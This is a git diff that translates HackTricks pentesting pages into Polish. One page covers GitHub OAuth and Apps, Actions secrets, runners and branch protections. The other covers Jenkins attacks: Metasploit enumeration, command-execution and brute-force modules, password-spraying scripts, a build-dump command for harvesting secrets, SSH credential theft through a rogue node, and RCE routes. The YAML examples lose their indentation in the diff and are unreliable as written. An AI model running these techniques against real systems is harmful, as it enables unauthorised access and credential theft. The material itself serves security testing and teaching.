+Aplikacje Oauth mogą prosić o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers)
+- Możesz zobaczyć wszystkie **aplikacje Oauth, które mają dostęp do twojego konta** w [https://github.com/settings/applications](https://github.com/settings/applications)
+- Możesz zobaczyć **zakresy, o które mogą prosić aplikacje Oauth** w [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Możesz zobaczyć dostęp aplikacji stron trzecich w **organizacji** w _https://github.com/organizations/\/settings/oauth_application_policy_
-Some **security recommendations**:
+Kilka **zalecenia dotyczące bezpieczeństwa**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- **Aplikacja OAuth** powinna zawsze **działać jako uwierzytelniony użytkownik GitHub we wszystkich aspektach GitHub** (na przykład, gdy dostarcza powiadomienia użytkownika) i mieć dostęp tylko do określonych zakresów.
+- Aplikacja OAuth może być używana jako dostawca tożsamości, włączając "Logowanie z GitHub" dla uwierzytelnionego użytkownika.
+- **Nie** buduj **aplikacji OAuth**, jeśli chcesz, aby twoja aplikacja działała na **pojedynczym repozytorium**. Z zakresem `repo`, aplikacje OAuth mogą **działać na _wszystkich_ repozytoriach uwierzytelnionego użytkownika**.
+- **Nie** buduj aplikacji OAuth, aby działała jako aplikacja dla twojego **zespołu lub firmy**. Aplikacje OAuth uwierzytelniają się jako **pojedynczy użytkownik**, więc jeśli jedna osoba stworzy aplikację OAuth dla firmy do użycia, a następnie opuści firmę, nikt inny nie będzie miał do niej dostępu.
+- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
-### Github Applications
+### Aplikacje Github
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Aplikacje Github mogą prosić o uprawnienia do **uzyskania dostępu do twoich informacji github lub podszywania się pod ciebie** w celu wykonania określonych działań na określonych zasobach. W aplikacjach Github musisz określić, do jakich repozytoriów aplikacja będzie miała dostęp.
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- Aby zainstalować aplikację GitHub, musisz być **właścicielem organizacji lub mieć uprawnienia administratora** w repozytorium.
+- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
+- Możesz stworzyć własną aplikację Github w [https://github.com/settings/apps](https://github.com/settings/apps)
+- Możesz zobaczyć wszystkie **aplikacje Github, które mają dostęp do twojego konta** w [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Oto **punkty końcowe API dla aplikacji Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). W zależności od uprawnień aplikacji, będzie mogła uzyskać dostęp do niektórych z nich.
+- Możesz zobaczyć zainstalowane aplikacje w **organizacji** w _https://github.com/organizations/\/settings/installations_
-Some security recommendations:
+Kilka zaleceń dotyczących bezpieczeństwa:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Aplikacja GitHub powinna **podejmować działania niezależnie od użytkownika** (chyba że aplikacja używa tokena [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Aby zachować większe bezpieczeństwo tokenów dostępu user-to-server, możesz używać tokenów dostępu, które wygasają po 8 godzinach, oraz tokena odświeżającego, który można wymienić na nowy token dostępu. Więcej informacji znajdziesz w "[Odświeżanie tokenów dostępu user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Upewnij się, że aplikacja GitHub integruje się z **określonymi repozytoriami**.
+- Aplikacja GitHub powinna **łączyć się z osobistym kontem lub organizacją**.
+- Nie oczekuj, że aplikacja GitHub będzie wiedziała i robiła wszystko, co może użytkownik.
+- **Nie używaj aplikacji GitHub, jeśli potrzebujesz tylko usługi "Logowanie z GitHub"**. Ale aplikacja GitHub może używać [przepływu identyfikacji użytkownika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) do logowania użytkowników _i_ wykonywania innych działań.
+- Nie buduj aplikacji GitHub, jeśli _tylko_ chcesz działać jako użytkownik GitHub i robić wszystko, co ten użytkownik może zrobić.
+- Jeśli używasz swojej aplikacji z GitHub Actions i chcesz modyfikować pliki robocze, musisz uwierzytelnić się w imieniu użytkownika za pomocą tokena OAuth, który zawiera zakres `workflow`. Użytkownik musi mieć uprawnienia administratora lub zapisu do repozytorium, które zawiera plik roboczy. Więcej informacji znajdziesz w "[Zrozumienie zakresów dla aplikacji OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Więcej** w [tutaj](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+To **nie jest sposób na uwierzytelnienie w githubie**, ale **złośliwa** akcja Github mogłaby uzyskać **nieautoryzowany dostęp do githuba** i **w zależności** od **uprawnień** nadanych akcji, mogłyby zostać przeprowadzone **różne ataki**. Zobacz poniżej więcej informacji.
-## Git Actions
+## Akcje Git
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Akcje Git pozwalają na automatyzację **wykonywania kodu, gdy wystąpi zdarzenie**. Zwykle wykonywany kod jest **w jakiś sposób związany z kodem repozytorium** (może budować kontener docker lub sprawdzać, czy PR nie zawiera sekretów).
-### Configuration
+### Konfiguracja
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+W _https://github.com/organizations/\/settings/actions_ można sprawdzić **konfigurację akcji github** dla organizacji.
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+Możliwe jest całkowite zablokowanie użycia akcji github, **zezwolenie na wszystkie akcje github** lub zezwolenie tylko na niektóre akcje.
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+Możliwe jest również skonfigurowanie **kto potrzebuje zatwierdzenia do uruchomienia akcji Github** oraz **uprawnienia GITHUB_TOKEN** akcji Github, gdy jest uruchamiana.
-### Git Secrets
+### Sekrety Git
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Akcje Github zazwyczaj potrzebują jakiegoś rodzaju sekretów do interakcji z githubem lub aplikacjami stron trzecich. Aby **uniknąć umieszczania ich w postaci jawnej** w repozytorium, github pozwala na umieszczanie ich jako **Sekrety**.
+Te sekrety mogą być skonfigurowane **dla repozytorium lub dla całej organizacji**. Następnie, aby **Akcja mogła uzyskać dostęp do sekretu**, musisz zadeklarować go w ten sposób:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Przykład użycia Bash
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Sekrety **mogą być dostępne tylko z Github Actions**, które je zadeklarowały.
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> Po skonfigurowaniu w repozytorium lub organizacjach **użytkownicy githuba nie będą mogli uzyskać do nich ponownie dostępu**, będą mogli tylko **je zmieniać**.
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+Dlatego **jedynym sposobem na kradzież sekretów githuba jest uzyskanie dostępu do maszyny, która wykonuje Github Action** (w tym scenariuszu będziesz mógł uzyskać dostęp tylko do sekretów zadeklarowanych dla tej Akcji).
### Git Environments
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
-
+Github pozwala na tworzenie **środowisk**, w których możesz przechowywać **sekrety**. Następnie możesz dać github action dostęp do sekretów w środowisku za pomocą czegoś takiego jak:
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Możesz skonfigurować środowisko, aby było **dostępne** dla **wszystkich gałęzi** (domyślnie), **tylko chronionych** gałęzi lub **określić**, które gałęzie mogą uzyskać do niego dostęp.\
+Można również ustawić **liczbę wymaganych recenzji** przed **wykonaniem** **akcji** przy użyciu **środowiska** lub **czekać** przez **czas**, zanim pozwoli się na kontynuację wdrożeń.
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Akcja Github może być **wykonywana w środowisku github** lub może być wykonywana w **infrastrukturze zewnętrznej** skonfigurowanej przez użytkownika.
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Wiele organizacji pozwala na uruchamianie Akcji Github w **infrastrukturze zewnętrznej**, ponieważ zazwyczaj jest to **tańsze**.
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+Możesz **wymienić samodzielnie hostowane runner'y** organizacji w _https://github.com/organizations/\/settings/actions/runners_
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Sposobem na znalezienie, które **Akcje Github są wykonywane w infrastrukturze nie-github** jest wyszukiwanie `runs-on: self-hosted` w konfiguracji yaml Akcji Github.
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+**Nie jest możliwe uruchomienie Akcji Github organizacji w samodzielnie hostowanej maszynie** innej organizacji, ponieważ **generowany jest unikalny token dla Runner'a** podczas jego konfiguracji, aby wiedzieć, do której organizacji należy.
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Jeśli niestandardowy **Github Runner jest skonfigurowany na maszynie w AWS lub GCP**, na przykład, Akcja **może mieć dostęp do punktu końcowego metadanych** i **ukraść token konta usługi**, z którym działa maszyna.
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Jeśli wszystkie akcje (lub złośliwa akcja) są dozwolone, użytkownik mógłby użyć **Akcji Github**, która jest **złośliwa** i **kompromituje** **kontener**, w którym jest wykonywana.
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Uruchomiona **złośliwa Akcja Github** mogłaby być **nadużywana** przez atakującego do:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Kraść wszystkie sekrety**, do których Akcja ma dostęp
+> - **Poruszać się lateralnie**, jeśli Akcja jest wykonywana w **infrastrukturze zewnętrznej**, gdzie token SA użyty do uruchomienia maszyny może być dostępny (prawdopodobnie przez usługę metadanych)
+> - **Nadużywać token** używany przez **workflow**, aby **ukraść kod repozytorium**, w którym Akcja jest wykonywana lub **nawet go zmodyfikować**.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Ochrony gałęzi są zaprojektowane, aby **nie dawać pełnej kontroli nad repozytorium** użytkownikom. Celem jest **wprowadzenie kilku metod ochrony przed możliwością pisania kodu w niektórej gałęzi**.
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+**Ochrony gałęzi repozytorium** można znaleźć w _https://github.com/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium.
-Different protections can be applied to a branch (like to master):
+Różne ochrony mogą być stosowane do gałęzi (jak do master):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Możesz **wymagać PR przed scaleniem** (więc nie możesz bezpośrednio scalać kodu w gałęzi). Jeśli to jest wybrane, mogą być wprowadzone różne inne ochrony:
+- **Wymagaj liczby zatwierdzeń**. Bardzo często wymaga się, aby 1 lub 2 inne osoby zatwierdziły Twój PR, aby pojedynczy użytkownik nie mógł bezpośrednio scalać kodu.
+- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**. W przeciwnym razie użytkownik może zatwierdzić legalny kod, a następnie dodać złośliwy kod i go scalić.
+- **Wymagaj recenzji od Właścicieli Kodu**. Co najmniej 1 właściciel kodu repozytorium musi zatwierdzić PR (więc "przypadkowi" użytkownicy nie mogą go zatwierdzić)
+- **Ogranicz, kto może odrzucać recenzje pull requestów.** Możesz określić osoby lub zespoły uprawnione do odrzucania recenzji pull requestów.
+- **Pozwól określonym aktorom na ominięcie wymagań pull requestów**. Ci użytkownicy będą mogli ominąć wcześniejsze ograniczenia.
+- **Wymagaj, aby kontrole statusu przeszły przed scaleniem.** Niektóre kontrole muszą przejść przed możliwością scalania commita (jak akcja github sprawdzająca, czy nie ma żadnych jawnych sekretów).
+- **Wymagaj rozwiązania rozmowy przed scaleniem**. Wszystkie komentarze dotyczące kodu muszą być rozwiązane przed scaleniem PR.
+- **Wymagaj podpisanych commitów**. Commity muszą być podpisane.
+- **Wymagaj liniowej historii.** Zapobiegaj przesyłaniu commitów scalających do pasujących gałęzi.
+- **Uwzględnij administratorów**. Jeśli to nie jest ustawione, administratorzy mogą ominąć ograniczenia.
+- **Ogranicz, kto może przesyłać do pasujących gałęzi**. Ogranicz, kto może wysłać PR.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Jak widać, nawet jeśli udało Ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia Ci przesyłanie kodu do master** na przykład, aby skompromitować pipeline CI/CD.
## References
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..cb33a88b1 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -2,311 +2,291 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska **ciągłej integracji** lub **ciągłego dostarczania** (CI/CD) dla prawie **dowolnej** kombinacji **języków programowania** i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje **konieczności tworzenia skryptów dla poszczególnych kroków**, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## Niezautoryzowana enumeracja
+Aby wyszukiwać interesujące strony Jenkins bez uwierzytelnienia, takie jak (_/people_ lub _/asynchPeople_, które wyświetlają aktualnych użytkowników), możesz użyć:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+Sprawdź, czy możesz wykonywać polecenia bez potrzeby uwierzytelnienia:
```
msf> use auxiliary/scanner/http/jenkins_command
```
+Bez poświadczeń możesz zajrzeć do ścieżki _**/asynchPeople/**_ lub _**/securityRealm/user/admin/search/index?q=**_ w poszukiwaniu **nazw użytkowników**.
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+Możesz być w stanie uzyskać wersję Jenkins z ścieżki _**/oops**_ lub _**/error**_
.png>)
-### Known Vulnerabilities
+### Znane Luki
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## Logowanie
-In the basic information you can check **all the ways to login inside Jenkins**:
+W podstawowych informacjach możesz sprawdzić **wszystkie sposoby logowania się do Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### Rejestracja
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+Będziesz w stanie znaleźć instancje Jenkins, które **pozwalają na utworzenie konta i zalogowanie się do niego. Tak prosto.**
-### **SSO Login**
+### **Logowanie SSO**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Jeśli **funkcjonalność**/**wtyczki** **SSO** były obecne, powinieneś spróbować **zalogować się** do aplikacji za pomocą konta testowego (tj. testowe **konto Github/Bitbucket**). Sztuczka z [**tutaj**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
-
+**Jenkins** nie ma **polityki haseł** ani **ochrony przed atakami brute-force na nazwy użytkowników**. Ważne jest, aby **brute-forcować** użytkowników, ponieważ mogą być używane **słabe hasła** lub **nazwy użytkowników jako hasła**, nawet **odwrócone nazwy użytkowników jako hasła**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
-
### Password spraying
-Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
+Użyj [tego skryptu python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) lub [tego skryptu powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP Whitelisting Bypass
+### Ominięcie białej listy IP
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+Wiele organizacji łączy **systemy zarządzania kodem źródłowym (SCM) oparte na SaaS**, takie jak GitHub lub GitLab, z **wewnętrznym, samodzielnie hostowanym rozwiązaniem CI**, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na **otrzymywanie zdarzeń webhook z dostawców SCM SaaS**, głównie w celu uruchamiania zadań w pipeline.
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+Aby to osiągnąć, organizacje **dodają do białej listy** **zakresy IP** **platform SCM**, zezwalając im na dostęp do **wewnętrznego systemu CI** za pośrednictwem **webhooków**. Ważne jest jednak, aby zauważyć, że **każdy** może założyć **konto** na GitHubie lub GitLabie i skonfigurować je do **uruchamiania webhooka**, potencjalnie wysyłając żądania do **wewnętrznego systemu CI**.
-Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Sprawdź: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-## Internal Jenkins Abuses
+## Wewnętrzne nadużycia Jenkins
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa.
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> W zależności od skonfigurowanego mechanizmu **autoryzacji** w Jenkinsie oraz uprawnień skompromitowanego użytkownika **możesz być w stanie lub nie wykonać następujące ataki.**
-For more information check the basic information:
+Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### Lista użytkowników
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Jeśli uzyskałeś dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników w [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### Zrzucanie buildów w celu znalezienia jawnych sekretów
+Użyj [tego skryptu](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py), aby zrzucić wyjścia konsoli buildów i zmienne środowiskowe buildów, aby mieć nadzieję na znalezienie jawnych sekretów.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **Kradzież poświadczeń SSH**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+Jeśli skompromitowany użytkownik ma **wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins** i poświadczenia SSH są już przechowywane do uzyskania dostępu do innych węzłów, może **ukraść te poświadczenia**, tworząc/modyfikując węzeł i **ustawiając hosta, który zarejestruje poświadczenia** bez weryfikacji klucza hosta:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+Zazwyczaj znajdziesz poświadczenia ssh Jenkins w **globalnym dostawcy** (`/credentials/`), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji [**Zrzucanie sekretów**](./#dumping-secrets).
-### **RCE in Jenkins**
+### **RCE w Jenkins**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Uzyskanie **powłoki na serwerze Jenkins** daje atakującemu możliwość wycieku wszystkich **sekretów** i **zmiennych środowiskowych** oraz **eksploatacji innych maszyn** znajdujących się w tej samej sieci lub nawet **zbierania poświadczeń chmurowych**.
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+Domyślnie Jenkins będzie **działał jako SYSTEM**. Tak więc, skompromitowanie go da atakującemu **uprawnienia SYSTEM**.
-### **RCE Creating/Modifying a project**
+### **RCE Tworzenie/Modyfikowanie projektu**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+Tworzenie/Modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **RCE Wykonanie skryptu Groovy**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+Możesz również uzyskać RCE, wykonując skrypt Groovy, co może być bardziej dyskretne niż tworzenie nowego projektu:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### RCE Tworzenie/Modyfikowanie Pipeline
-You can also get **RCE by creating/modifying a pipeline**:
+Możesz również uzyskać **RCE, tworząc/modyfikując pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## Eksploatacja Pipeline
-To exploit pipelines you still need to have access to Jenkins.
+Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.
-### Build Pipelines
+### Pipeline Budowy
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+**Pipeline** mogą być również używane jako **mechanizm budowy w projektach**, w takim przypadku można skonfigurować **plik w repozytorium**, który będzie zawierał składnię pipeline. Domyślnie używany jest `/Jenkinsfile`:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
